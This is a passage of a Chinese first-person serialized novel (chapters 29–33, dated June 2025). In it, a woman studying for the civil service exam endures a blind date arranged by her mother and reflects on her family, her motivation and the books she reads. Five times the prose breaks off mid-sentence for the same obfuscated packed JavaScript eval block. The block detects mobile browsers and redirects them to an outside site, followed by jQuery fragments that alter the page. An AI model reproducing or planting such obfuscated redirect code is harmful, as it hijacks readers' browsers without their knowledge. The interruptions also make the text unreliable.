我慢慢吃着身前盘子里的食物,有时看着厨师烹调,有时看着邻座用餐,思絮渐渐发散。 “听钱姨说你在准备考公?”他问我。小鱼伯伯姓钱。 “嗯。” “我妈之前也想让我考事业单位,抱了一堆资料回家让我看。后来还不是没考上,自那以后我就再也不想这些了。”他说道。 我食欲不再如辞职前那么大,这些日子,饭量反而比正常情况还要小。 我放下筷子,偏头看向钱鹄,他腮帮子鼓起,吃得正兴起。 肉这类,师傅通常会均等地分到食客面前的餐盘。我面前的盘子常常堆起,师傅见状,又拿出一个盘子盛放菜品,摆在我和钱鹄中间。 真要说觉得外面的饭菜更好吃,也就刚毕业那几年。这些年,奢侈品在商场大行其道,越来越多的人到商场只为看电影吃饭,衣物和生活用品买得越来越少。商场的超市有一定的客流量,不过,多是些中产人士,相比价格,他们更看重品质和即时性。 我仍在商场添置衣服,价格却不抵旧日的三分之一。偶尔看场电影,买点小吃,对餐厅的美食不再提得起兴趣。 钱鹄开始动用甜品,吃得津津有味。他注意到我的目光,看着自己面前的空盘,感慨我吃得很少。 “我特别能吃,胃口向来很好。饿得也快,家里总屯着零食。”我没看出来,他小时候就瘦得像猴,现在身上也没挂肉。 “我有时候晚上还出去吃宵夜。买点炒面什么的。”他接着说。 我有些羡慕,不再年轻的一个短处,便是消化能力减弱。上份工作即使加班到很晚,我也坚持控制饭量,到家后给自己煎两个荷包蛋,或是煎一个手抓饼,还常常去湖边骑车。 用餐完毕,他结了帐,提议在商场转转消消食,我没有拒绝。 他边逛边扯着话题,一直说个不停。 “你知道我平时做些什么工作吗?”我想了想,答曰:“不知道。” 面前过道正摆着几个水桶,见状,他问我:“你知道这是干什么用的吗?” 我皱起了眉头。下雨天,这在商场很常见,和地铁站常年立着“小心地滑”的标志牌是一个道理。 “接雨水?”我疑惑地问道,实在不明其中的深意。 “对了!”他开心道。“每回下雨,我都得一层一层地在商场巡视。哪里漏了水,就要用桶接着。” “我每天要走很多路,步数排行榜上不是我第一,就是我同事。”他还有些骄傲。 这也算工作中的小趣味吧。步数排行榜刚火那阵,小米手环亦提供计步功能。眼看同事用得不亦乐乎,每天跑实验室都更加积极。我虽没有加入他们,却给全家买了小米手环,舅舅舅妈也没落下。不过,有心归有心,家人也欢喜,受限于手机系统版本,都没用上。 我打小不喜欢走路,除去遛脱兔,我能在家宅一整天。出门也是,能骑车就绝对不会选择走路。 绕到拐角处,他指着KFC,又和我说道:“我上大学的时候,还在他们家打过工。” “你在上庸念的大学?”我问道。 “嗯,经开那里有个商场,就在我大学旁边。”他回答。 我心中已了然。 “你多长时间回一次家?”我问他。 “我那个时候还住在榕潭,只有家里有电脑,我每个星期都回家玩电脑。”回忆起那段时间,他面上有几分快乐,也有几分挣扎。 从榕潭去到杉湖,快的话二三十分钟可以到达。如果乘坐公交车,由于路线把周边的村子和工厂串了起来,远路一绕,有将近五十分钟的车程。而从杉湖到经开,还得一两个小时。 进入大学,我也每周回杉湖。高中起,我就不大融得进校园。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301303|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又绕了一圈,他停在一家密室逃脱的下方。“我之前经常来这个商场,你知道为什么嘛?” 我有些无奈,摇了摇头。 “你猜猜看嘛!”他坚持。 我撇了撇嘴,没有半分兴趣。看电影?玩密室逃脱?旁边还有个电器城,不管是哪一个答案,都不会有什么意思。 我拿密室逃脱搪塞他。 “错了!我呀,之前老来这里健身。”他有些得意。 我扫了一眼楼上,确实,密室逃脱旁边就是健身会所。这里靠近杉湖,可杉湖除了老牌健身场所,新开的也不错。这家健身会所开在商场,占据诺大一角,会费必定不菲。来这里健身,让人难以理解。 “我同学办的卡,他不想一个人,便到我家接我和他一起来。” 我看了看他毫无健身痕迹的小身板,不置一词。 “回去吧,走了这么久,我有些累了。”我建议。 “别呀,这才半个小时不到。”他几乎逛遍商场的每一层。 我神情有些不悦。今天不是我开车,现下颇有几分受制于人的意味。 “我们去看电影吧?”他仍不罢休。 我思考了片刻,也不是不行。确定好要看哪一场,我抢先卖了票。 离开场还有些时间,我和他坐在等候区。我没有在聚会中玩手机的习惯,和他有一搭没一搭地聊着天。 “你初中在榕潭读的吗?”他问道。 “我小六转学到了杉湖。” “你高中读的四中?” “一中。” “那你成绩很好哇。我当时没考上一中,去的四中。”他说道。 榕潭的高中很多年前就取消了,榕潭的学生都得去杉湖读高中。我在一中遇到了好些个小学同学。 “嗯,就那样。” 我的升学路一直很顺利,没让爸妈失过面子。小六转学到杉湖第三小学,两个学期都是全班前三。小考排名全区前五十,进入初中分教改班,摇号和考试都通过了。中考顺利考到区里的省重点,到了高三分快慢班,名字也在快班之列,不过,在快班吊车尾就是了。 “你大学在哪上的呀?”他继续追问。 我颇有些无奈。“我志愿报得好,拿到了科技大的特招。”科技大是上庸十所一本之一,若非特招,我的分数也进不去。 “哇,科技大是一本吧。”我点点头。旁边传来笑声,我尴尬癌险些发作。一转眼毕业都快十年,两个老大不小的人还在这谈论大学。当年高考结束,我都没和人这么聊过天。 电影快开场,他提议买水,还坚持在影院零食区购买。我听到一瓶脉动要八元,想着撑场面实属不必。我把他带到负一的便利店,拿了瓶农夫山泉,他付的钱,我也没客气。 这部电影改编自动画,动画出来之后,我在大学的听说课上看过。我的注意力集中在电影特效,纹理的逼真尚未呈现出可怖,又错失了动画天然的亲近感。 这几年,我的心态发生了很大改变,防备心在一次次惨痛教训中拉满。我已经不是这类电影的受众了,我意识到,我的童心不再。 电影结束后,我以为可以回家,钱鹄却想去店里看无人机。他在前面找店,我跟在他身后。 我有些诧异,他非得在今天买吗? 他进到店里,绕着一个旗舰机看了半天。他几次试图把无人机拿起,可店里的产品都上了防盗锁,连挪动都办不到。 店员注意到他的行为,走了过来,和他简短介绍后,询问他的需求。 他没理会,去到另一台面前。 我和店员对视,报以微微歉意。 这一回,他试图用手掰弯无人机的桨叶,店员赶紧上前阻止他。 “我就是看看,”他狡辩道。 他看向我,朝我露出微笑。“我们回去吧。” 29. 2025年6月,第25周 29 [2025年6月,第25周] 去到室外停车场,我的步伐有几分轻快。我随钱鹄原路返回,途中再次经过来时看到的宠物寄存处。 下车后,我见他不做停留地往商场里走,只耸了耸肩。可他现在一排又一排地找车,我苦笑一声,又不好说什么。 出口在商场的一角,我跟着他,遍历了好几排停车位。他不大相信已经确认过的车道,折返数次,仍然看不到熟悉的车影,才去往更远处。 越往商场背面走,我越觉得陌生,便提示他往另一头找。 钱鹄已在雨中转了十来分钟,他没有听进我说的话,却也不好在明面上反驳。“雨有些大,你就在这里等我。” 我不再纠结是否要照顾他的面子,询问车牌号,准备自己去找。 他想了想,先报了一串,又说这串不对。他回忆了一番,报出了第二串。 我沿反方向去到商场侧面,毫不费劲地确认了车牌。 我拍下照片发给他。“是这辆!”他回复。 我担心他找不到这里,返回拐角处跟他挥手示意。 他把车开到杉湖大道,路过一排居民楼,他指着那个方向,对我说:“我家住在那个小区。” 我眯着眼睛看了一眼,不表一言。 回到榕潭,他想把我送到家楼下。我让他送到商业街,他不再坚持。 下车后我和他说再见。“下次再出来一起玩呀!”看来他对这次见面很是满意。 我和他摆了摆手,去到妈妈店里。 “哎哟,这就回来了!”妈妈看到台阶上的我,满脸开心容。此时四点刚过。 “你今天玩得开心唦?”她关心道。 这一下午于我太过漫长了。 “他哪有一七五,撑死了一七零。”我以前就听说相亲会夸大对方条件,今天也算长见识了。 “到此结束。”我表态。 “别呀,这才刚开始。”妈妈连忙阻止我。 我难以置信地望向她,这难道是可以讨价还价的事情? “我现在要做的是好好准备考试。面也见了,结果也和你说了,你还想怎样?” 妈妈看我态度坚决,倒也不好站在我的对立面。 她小心翼翼地和我说,准备动之以情:“你早上回去没多久,钱鹄和他爸妈,都来了店里。” 我皱起眉头,还有这种事?这不过是一次再普通不过的见面呀! “你别看他三十五岁,还是个处男哩!” 我一脸“老人看手机”的表情,“你是怎么知道的?” “鹄鹄哥哥问你有没有谈过朋友,我想着你应该没谈过,就告诉他了。他这人挺有意思,立马说自己也是个处男。”妈妈还觉得有趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301304|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我犹如吃了一只苍蝇那么恶心。 我到底答应了小鱼伯伯什么?说好的难道不是只见上一面?而在见面之前,钱鹄就这般旁敲侧击地打听我的隐私?这人什么质素! 在乡下,透露出去的个人信息,一不小心就会变成好事者的谈资。真假不论,妈妈就这么和人说了,没有半分保护我的意识。 至于贞洁,女性尚有生理结构可以作为佐证,男性说自己没有性生活,那还不是张口就来? 想不到,我对结婚没有意愿,却也有被人当作猪仔讨论的这一天! “你还和钱鹄说我喜欢吃烤鸭和椰子鸡?”我质问道。 “个伢哟,他约你今天吃饭,打听你的喜好,有什么不对?别人那是关心你唦!” 我和这种拎不清的没法沟通。 “这件事到此为止。”我给她下最后通牒。 “我不吃晚饭了,困死了。”说完,我回到家中。 到家半个小时左右,钱鹄发来图片。一张圆形餐桌摆在低矮的窗台前,碎花样式的防水桌布上还铺着一层一次性桌布。摄像头取景一碗看不到内容物的酱色番茄汤,与一大碗米饭挨着。 他之前不曾发过图片,除了那两张照片。他又发了一条消息:“回来肚子就饿了,我妈正好把饭做好。” 我摁息了屏幕,对钱鹄的反感涌上心头。 30. 2025年6月,第25周 30 [2025年6月,第25周] 决定考公,我刷到《秘密花园》的剪辑,讲的是一个从小对钱特别着迷的女孩,长大后在银行工作遭遇抢劫案,有幸死里逃生,为了找寻沉入水底的巨额现金,历经求学、冒险,意识到过程中的体验比之结果更重要,找到了活着的真谛。 我喜欢影片中氛围感的营造,读书或学习,他人或自己的专注,长期以来,是我的精神食粮。为考取地质专业埋头备考的咲子、在学校心无旁骛学习技能的咲子,被我视作榜样。我截下她备考的模样,打印出来放在书桌上,又把她用作头像。 大三开始认真对待课业的我,并不比咲子逊色。可考研在家无心学习的挫败,仍萦绕在旧日。即使我转岗虚幻时又能全神贯注地学习,欣喜中仍夹杂着不安。 我已意识到自己的主观能动性不足。“然后动心忍性,增益其所不能。”初中学习孟子的《生于忧患,死于安乐》,我仍记得底下注释对“动心”二字的解释是“使心脏跳动”,可如何使心脏跳动,总不得法。 儿时,遍览电视剧,浪子回头,总要遭遇巨变。我伺机观望,在外公去世那年,有所顿悟。那时,我以为外公平生憾事有二,一则因成分问题不得去到大学,再则,最肖自己的小女儿执意与口出不逊的男人结婚。前者,让我无法继续以玩玩打打的姿态度日,毕竟,上大学,是外公毕生不可得之物。 大三那年,我在学业上取得了不错的成绩,专心学习已产生惯性,可这惯性却难敌其他阻力。我有些迷惘,可我不曾亦不需洗心革面。后来,我意识到,遭遇巨变,只是浪子回头的艺术表现手法,这和初中语文老师解释课文中的迅哥儿和闰土并不等同于现实生活中的鲁迅先生和闰土一致。艺术来源于生活,至于如何呈现,由创作者根据意图作出抉择。 现在的我,对于改变,存着量变导致质变的看法。可到底是一味的积累量,还是参悟每一次结果,我悟性有限。无论如何,尽可能地激励自己,让我一路走到了现在。 转岗虚幻,在家的时间充足,我什么都看一些,了解到哈佛大学的《积极心理学》课程。 那段时间,D站常常给我推荐课程,我来者不拒,全都放进了收藏夹,之后再拿出来整理分类。课程失效了我也不在意,用得上的,再找资源就是。 《积极心理学》其中一节课,提到了马文·柯林斯。 马文老师强调学生自我肯定的教育方法,在她眼中,再调皮的孩子,也有自己的可爱之处。 她鼓励孩子们开口说英语,引导他们主动回答问题,认可孩子们在学习上取得的进步,一点点培养孩子们的自信心,调动他们的积极性,挖掘他们的感官和想法,驱使他们在学习这条路越走越远。 她在记录片中说道:“我认为我做得很好,我觉得我很聪明,我很特别。我会让每个孩子都这样想。” “当他们不守规矩的时候,我就惩罚他们,让他们写一百个理由,来说明为什么他们会优秀到要做那样的事,而且要按字母顺序写。” “我很可爱(Adorable),我很漂亮(Beautiful),我很勇敢(Brave)。” “我先写一行句子作为范例,让孩子们能够顺藤摸瓜。” “我很讨喜(Delightful),我很有活力(Effervescent),我很棒(Fabulous)。” “我很优秀(Heavenly),我是榜样(Idolized),我无与伦比(Wonderful),我和别人志趣相投(Kindred Spirit)。” “我受人称赞(Laudable),我很重要(Momentous)。” “我从不怠慢自己(Never Never Indolent)。” “从A一直写到Z。如果他们再犯错误,他们必须要用另一个同义词替换。他们就不能再用可爱这词了(Adorable)。” “现在孩子们会对新学生说,我搞不懂你怎么又不守规矩了,因为我厌倦告诉科林斯女士我有多棒了。” 这个片段触动到我,我在网上购买了《马文·柯林斯的教育之道》这本书,却没有时间翻阅。 动力不足之下,非有意拖延,我已力不从心。 我一直保持自己房间的卫生,浣洗衣物,整理杂物。 刚把脱兔接回家,迫于还没有给它打完疫苗,我不能给它洗澡。疫苗三针结束,它一个月至少洗两回。 我不介意它在家中如厕,脱兔知道在尿垫上进行,却老尿不准。除了更换尿垫,我还得除臭,冲洗尿盆。 脱兔到家的头两年,不怎么掉毛。之后,一年掉两次,每次掉半年。客厅里毛毛狂舞,没有及时拖去的尿液,成了遍布客厅的尿渍。 我本就有些洁癖,时至今日,摸完狗狗也得洗干净手,再去做别的事。 养狗这些年,我获得了脱兔无私的陪伴,也在照顾它的时间里,把行动力一点点消磨殆尽。 现在我凡事都定期做,比如一周拖一次客厅。这个频率无法保证客厅的干净,却可以减少对我的消耗。 每一件事于我,首先是看得见的劳动,和心里对繁琐的抵触。每一件事做完,我没有半分成就感和享受的心情,而是应该如此的自我鞭策。 本来,我不知道问题出在了哪里,直到外婆和我说:“蛮多人都跟我夸你学习好。”这个时候,我已再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301305|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去工作。 我问过妈妈为何从来都不夸奖我。“不夸你都这么骄傲了,夸你那还了得?” 我的每一次升学,于我,都是松了一口气,而非度过难关后的勋章。 小六考取前三很开心,因为父母答应我,考到前三就给我买MP3。 我知道那个初中没有考上教改班的爸爸同事的孩子,她自此不再出现在大家的谈论中。 中考如若未考上省重点,我大概率去不了好大学。 如果我不在快班名单之列,高三那年我得有多煎熬? 在我家,做得好不给爸妈丢人是应该的。我没有经历过考试失利,我深知那是在这个家做小孩的究极噩梦。我和路边阿猫阿狗的区别,在于我有学可上,有饭可吃,有床可睡。一旦我在学业上让父母不满,我的日子比之儿时只会更难,因为我不再是那个还未得到证明自己机会的小孩,而是抓不住机遇的无用之人。我会失去赖以生存的学费和生活费,我也不会再有将来。 十六年求学之路,并非我有志,而是为了生存。上天给予我的,非家庭有爱,非同路之人,亦非姣好面容,而是心性和才能。一八年被外婆当众剔除自家人身份,我万念俱灰。可是,天下人都可负我,我却唯独不能辜负自己的才能。我拥有的不多,我无法承受名为不值得的黥面。 在这样的家庭长大,儿时的我自然也不好相处。不同于父母,我能意识到这一点,并自我约束。我珍惜和同龄孩子玩耍的机会,克制自己的脾气,在意他人的感受。虽然依旧懵懵懂懂,却也尽量真心待人。 工作后,我接触到《诫子书》,才知道致远和宁远这类名字的深意。“非学无以广才,非志无以成学”,我由此意识到,这一路的跌跌撞撞,皆在于中心位置的不明。“吾十有五而有志于学,三十而立”,古人的一生,亦是早早确定了目标。 我自以为不曾让父母失望,认为父母对学业的看重,多少源自对我的栽培。我一直清楚家里的经济状况,供我出国不是不可以,可也不是绰绰有余。我难以对父母提出要求,只能说服自己接受。可甫一升到大四,父母抱团奚落我找不到工作也不要指望他们。这一刻,我才意识到,他们从未对我有过期待。“父母之爱子,则为之计深远”,他们在学业上的要求,并非盼我好,而是高瞻远瞩地避免我成为他们的累赘。他们从不在意我可以去到多高,因此,爸爸给我画的那条线,看似督促,实则斩杀。一旦我滑落到这条线之下,没有未来的我,也不再具备花他钱的资格。 在这个家,认为我有远大前程的只有我自己。每每我突破他人对我的认知,他们便不置一词。 我得重拾动力,我告诉自己。可这条路上的阻碍,绝非反着说那么简单。 31. 2025年6月,第26周 31 [2025年6月,第25周] 那天回程路上,我提到订正很繁琐。 “为啥要做订正?考过的题又不会再考。”钱鹄嗤笑道。 这话乍听之下很荒谬,可在常识和政治理论的时政热点这块,一针见血。常识考点繁多,考过的再考,即使是二十四节气,每一节气又有三候,与之相应的诗词数不胜数,考虑到付出与收益,得不偿失。而政治理论,基础理论需要夯实,党内法规需要掌握,可前一年的时政热点、又召开过一次的会议,时效已过,了解即可。这和学生时代的订正原理相悖。 我不再记挂政治理论和常识的不顺,上午得空便刷刷新闻,系统的时政热点由考前的归纳保证;我找了本常识小册子,打算有空翻翻。虽然文化、历史类的常识浩如烟海,可经济、法律类的较为基础,往往是重要知识点的变形考法,至于地理、科技类,仍和时效有关。 大三时,我在图书馆能一坐十二个小时,除去吃饭如厕,屁股都不带挪一下。 后来使用种树应用,一上来就把两小时拉满,我还觉得不够,又开启了“种树时长上限延长至三小时”功能。 其实我没有计时需求,单纯沉迷种树。不过,投入时间可视化可以带来安定感,可是,这也容易滋生用时长衡量收获的短视。用上Emacs后,日程规划不再左支右绌,也就对种树祛魅了。 言语表达这块勾起了上学时做英语阅读的回忆,刻意颠倒的词语顺序,被替换为晦涩难懂、内容繁多的主旨把握。行测考试时长一百二十分钟,全是选择题,题量一百三十或者一百三十五道,平均每道题耗时五十三至五十五秒。我言语刷题的速度不快,正确率也不高,一方面觉得费劲,另一方面感受到挫败,我有些不耐。 若说小时候还有抢答的快感作为激励,我不以为言语理解能充实自己的“小脑瓜”。 我安装了番茄钟应用,以二十五分钟为单位,驱使自己达成每一个小目标。“君子善假于物也”,状态不佳时,借助小工具也无妨。 虽然我的理性告诉我考公是最佳决策,感性却徘徊在身体不足以支撑继续在虚幻这行闯荡的阴影下。我失去了意义感。 《比利·林恩的中场战事》的叙事让我对李安导演的作品产生兴趣。《少年派的奇幻漂流》上映之际,我到影院观看,可没有看懂;《卧虎藏龙》热映之时,我还是个小孩,勉强看了个热闹。之后,我在D站刷到李安的采访剪辑。 “你为什么不去做你已经很熟悉很有安全感的事情?” “……” “没有做过的才有意思。”李安笑道。 “……” “跟您的年龄和处境?” “有关有关,跟我的心态有很大的关系。做电影,职业来做有二十年,入行二十年。所以我现在做的成绩来讲,我就是再拍烂片,再十年,还有人找我拍。”他又笑道。 “可是我会担心说,拍东西没有意思了,没有挑战,我的那个斗志没了。” “……” “你不怕失败吗?” “怕,怕才有劲儿。怕,人才会提高警觉,就像小孩跟那个老虎漂洋过海,他后来发现说,没有那个老虎,他活不了。没有那种恐惧,没有让他一个惊醒的感觉,他对老虎的恐惧是提了他的神,增加了他的精气神。所以那种提高警觉的心态,其实是生存跟求知、跟学习最好的状况。” “所以有时候我也需要一点刺激,我就很怕这样的话,自己惰怠了,很容易陈腐的,很容易被淘汰,那我当然不希望这样。” “以你现在电影界的这个地位和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301306|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家对你的敬重,你还有这种担心吗,被淘汰的恐惧?” “会,对于观众,对于期待你的人,也要有一个交代,也要很诚恳,一直在不知道的状态,一种很新鲜很兴奋的状态,给你最好的一个发挥。” “这是你,作为一个有天分的人,欠观众的一个人情。” 也因此,我把李安导演的《饮食男女》和《卧虎藏龙》翻出来看,入了他的坑。他的传记《十年一觉电影梦》,在我一九年从事通信协议开发时,带给我很大鼓舞。 “我在从事自己喜爱的职业,”我不时鼓励自己。 可再次翻阅这本书,我却难以继续。 “这么多年看下来,我觉得电影这一行真是形势比人强。我那时发现,身边当上导演、又做出点成绩来的,都是持续写剧本的人,而不是打工的人。许多人一出校门就有工作,如剧务、剪接或制作,到后来就继续那份工作,很难再往导演方面发展。” 这段话与考公的决定隔空对峙。我一直没有安全感,以前是有附加条件的学费和生活费,现在是职场生涯的长期性。烟花绚烂却只有一时,我没有机遇,没有资本,只能久久为功。我对这段话深以为然,可我的确已难以为继。我合上书本,徒劳地希冀境遇能够转好。 年初的时候我已有些熬不住。下班回来的第一件事不是吃饭,而是去湖边骑车。脱兔一直很野,骑车和遛它得分作两次进行。我保持着一周两到三次的频率去湖边骑车,这是经过充分考虑后作出的调整。当然,如果意识到自己回家后仍惦记着白天的事,多骑一次也无妨。若非如此,下班后的时间,我做不了其他。 骑车不似想象中那么轻松,用以泄压、保持运动量已足够。 从泽铯辞职,时间再次变得充裕。面试恐慌时,我亦通过运动稳固心态。 32. 2025年6月,第26周 32 [2025年6月,第26周] 去年十月,开车路上,我开始听播客。恰逢韩江获得诺贝尔文学奖,韩女文学被广泛讨论,我被种草了金爱烂的《滔滔生活》。 停药后,没有简历石沉大海和面试被拷问这类刺激,恐慌不再,心悸仍不时发作。早上得空,我坐在小板凳上守摊,刷不了一会新闻,心就开始发慌。二二年心动过速,我下载了一个应用,通过调整呼吸缓解焦虑,现在再次安装。我拿出耳机,有节奏地跟随提示呼气吸气,起到一些作用。 我和妈妈说自己仍有心悸的毛病,她问我该怎么办。 上次心脏不适,妈妈从外婆那里拿来一些丹参保心茶。去医院做长程心电图没有查出问题,医生嘱咐我好好休息,也没提用药的事。这些茶包亦在心动过速那次派上了用场。我准备故技重施,托妈妈替我买一些。 妈妈去过药房,说店里没有丹参保心茶,不过,店员推荐了生脉饮。想着中药养身,我打算吃吃看。 国考只一次机会,几百人竞争一个岗位,我没有多少把握,很是为此担忧。学习之外的时间,刷手机也难以入迷,我乐得自在,试图从书本中获得平静与力量。 儿时,我喜欢有趣的、好玩的、好吃的,谁曾想,长大后,却是心灵的平静最难求。工作时,琐事繁多,项目推进仰赖组内全员,一人之力于事无补。我既盼着项目结束,又因完成得不好屡添忧愁。 我既没有成家,亦没有生小孩,虽然欠了债,却非房贷这种一背就是几十年、轻易动弹不得的生契。可我还是有如此之多的身不由己,心中平静难求。 上学时我有许多爱好,工作后不得闲,一一放弃。 唯有书本,我深知自己叶公好龙,买得多,看的少,便有意压制。可每每收到一本新书,不论专业书还是小说,内心的柔软好似被熨帖,买书这件事,虽不纵容,却也不曾断绝。 看完《马文·柯林斯的教育之道》,我汲取到一些力量,又翻开了《滔滔生活》。 这本书购于去年十二月,恰逢圣诞,主播推荐金爱烂的《圣诞特选》。 “男人跟妹妹说,不管多穷,一定要买马桶清洁剂。马桶清洁剂是圆形固体,放在抽水桶里。这样每次冲水就会有蓝色的水流入马桶。男人说看到白色马桶里清新地积聚着蓝色的水,心情就会莫名地变好,甚至会觉得自己过得还不错。” 主播朗读了这段话。我喜欢不过分描述的语句,也许能引发思考,也许能引起共鸣。 我从第一篇看起。黑色雨水入侵房间,“我”在钢琴被雨水浸泡的前一刻,“在半地下室里弹钢琴”。 当钢琴不再作为才艺,当饺子馆香气不再扑鼻,这个短篇里没有我找寻的生命力和意义。 溪辞尤为喜欢郝思嘉,我因此知道《飘》。”Tomorrow is another day”,郝思嘉最突出的特质是顽强的生命力,在逆境中永不言弃的精神是她的核心魅力。 语文课本选入了欧·亨利的《麦琪的礼物》、《最后一片叶子》。欧·亨利是我最喜欢的短篇小说家,“意料之外,情理之中”,初中语文老师引用的八字短评,我记忆犹新。 我打小喜欢看电视剧,上大学后,有了时间和平板,我看了不少好剧。《请回答1988》是其中一部,我尤爱里面的成宝拉。第三集,成宝拉趴在褥上看的那本书,正是“人最宝贵的是生命。生命每个人只有一次。人的一生应当这样度过:当他回忆往事时,不因虚度年华而悔恨,也不因碌碌无为而羞愧;在临死时,他能够说:‘我的整个生命和全部精力,都献给了世界上最壮丽的事业——为人类的解放而斗争’”的出处——《钢铁是怎样炼成的》。 我不沉湎于日常生活困境,事业一直睥睨着生活中的其他存在;我尚未从历史创伤中反思,“以史为鉴,可以知兴替”,这是我的历史观。 我合上《滔滔生活》,从焦虑中抽离。 高中语文老师在我们入学后不久推荐了《挪威的森林》,我那时已不喜他,却也仍在为理解他做出尝试。 我至今无法理解为什么会有老师在高中推荐这本书,是担心学生压力大,心理出问题,所以给出预警?我不认为这本书能起到这个作用。 小孩子很容易学坏,比如我初三的同桌和前排的男同学。他们一边翻阅《金瓶梅》,一边发出荡漾的笑声。我面露鄙夷,丁点儿都不想沾边。可到了高中,我也难逃纯洁心灵被荼毒的命运。 渡边和永泽混乱的私生活姑且按下不表。书中对永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301307|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽的描写,甫一看,便抓住了我的眼球。 “他宣称:对死后不足三十年的作家,原则上是不屑一顾的,那种书不足为信。” 阅读于我,少有人引导。初中语文老师旨在培养阅读氛围,他介绍的几本,至今仍是经典,却委实不够看。 我省吃俭用存下了区图书馆的会费,后来手头宽裕,常去上庸最大的文苑书店买书。书店一共六层,文学类书籍在最下一层。我一排接一排地逛着,那些课本、杂志中提到过的作家、书籍,每一偶遇,我身上便泛起一层鸡皮疙瘩。若是有些兴趣,便把书从柜中抽出,小心抱在怀里。结账时,往往满怀。 回家路上我抱着放在腿上的塑料袋,一本本书竖立在袋中,一股说不出来的心满意足流淌在心间。 让永泽和渡边结交的《了不起的盖茨比》,自然也被我纳入书柜;让永泽破例的菲茨杰拉德,我一并入手了他的《夜色温柔》。 到我找到第一份程序员的工作,虽不至于将永泽的话奉为圭臬,形容为心服首肯,却也不为过。 “我要百分之百地发挥自己的能力,不达极限绝不罢休。想拿的就拿,不想拿的就不拿,就这样生存下去。不行的话,到不行的时候再另行考虑。” 虽然我意识到高中生阅读《挪威的森林》不合时宜,我还是入手了村上春树的其他作品,并对《列克星敦的幽灵》这本短篇小说集爱不释手。 我喜爱《列克星敦的幽灵》中如馆藏一样丰富的精神世界,也数次翻阅领悟《沉默》中大泽能让青木流露“脚已动弹不得的拳击手的眼神”那无声有形的力量。 过去几年的经历,让我再次翻阅《挪威的森林》时,将目光停留在小林绿子的与众不同。 永泽行驶在自己的人生轨道上,旁若无人,所向披靡;小林绿子为买煎蛋锅戴了整整三个月“半湿不干的乳罩”,送走因脑肿瘤死亡的妈妈不足两年,又在本该多姿多彩的大学生活中分身不暇地照顾同样患上脑肿瘤的爸爸。她对时弊的针砭,立足无比坚定。 不过,我感知得到她生命力的顽强,却不明人能够如此做的所以然。 我功利心很重,却只落得个神似,因此常做无用功;我不愿承认自己色厉内荏,总是懵懵懂懂,只能一次又一次地后知后觉。 33. 2025年6月,第26周 33 [2025年6月,第26周] 新年在家尽情吃喝,体重攀升到一百一十四斤。吃药之后,又长了十来斤肉。停了药,我胃口不佳,每天在店里帮忙,三餐吃得随意,体重下降到一百一十六斤。 意识到情绪有些低落,我拿出手机,发现经期快到了。自我确诊CPTSD后,只有接连数天心情不佳的某刻,我才会自觉与常人不同。如果不是工作和家庭的原因,也可能是经前的荷尔蒙波动导致。 我气血不太足,加之工作不顺,压力较大,在驷铠的时候,就有大热天吹空调腹部却贴着暖宝宝的滑稽时刻。痛经在身边较为常见,疫情时我手上有多余的布洛芬,欲分给孟璮,她说有,她身边的女性朋友也都有。我每月都有一难,已有些畏惧,却无可奈何。经期的头两天,我会给自己点一盅炖奶,起到安抚的作用。化妆包中亦备有布洛芬,不到万不得已,我不会吃。 